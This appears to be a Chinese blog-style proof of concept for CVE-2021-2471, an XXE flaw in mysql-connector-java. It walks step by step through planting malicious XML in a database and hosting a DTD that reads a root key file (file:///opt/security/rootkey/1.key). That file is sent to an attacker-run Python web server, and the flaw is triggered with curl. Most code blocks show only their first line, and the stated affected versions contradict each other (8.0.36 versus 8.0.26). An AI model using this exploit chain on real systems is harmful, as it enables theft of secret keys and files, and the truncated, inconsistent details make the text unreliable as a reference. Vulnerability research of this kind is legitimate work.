MySQL CVE-2021-2471 XXE POC
零、影响范围
1 | infected: mysql-connector-java <= 8.0.36 |
一、非现实世界的POC
1 | public static final String connection_url = "jdbc:mysql://192.168.64.137:3306/sqlxmltest"; |
二、现实世界的POC
1、建表
MySQL
中没有 SQLXML
类型,建表的时候选择字符串类型即可。
1 | create table RSS_FEEDS |
2、初始化表数据
1 | INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) |
3、读表
1 | "/get/{rss_name}") (value = |
4、攻击者:通过SQL
注入或者数据库访问来修改数据
1 | INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) |
5、攻击者准备 dtd
文件
1 | <!ENTITY % file SYSTEM "file:///opt/security/rootkey/1.key"> |
6、攻击者准备 web server
1 | python -m SimpleHTTPServer 8041 |
7、攻击者触发漏洞
1 | curl -vv 'http://192.168.64.137:8080/get/READFILE' |
8、攻击者的 web server
收到 dtd
下载请求和 key
文件读取成功的报文
1 | python -m SimpleHTTPServer 8041 1 ⨯ |
三、漏洞查找关键点
1 | mysql-connector-java-8.0.26.jar or lower version |
1 | SQLXML sqlxml = resultSet.getSQLXML(2); |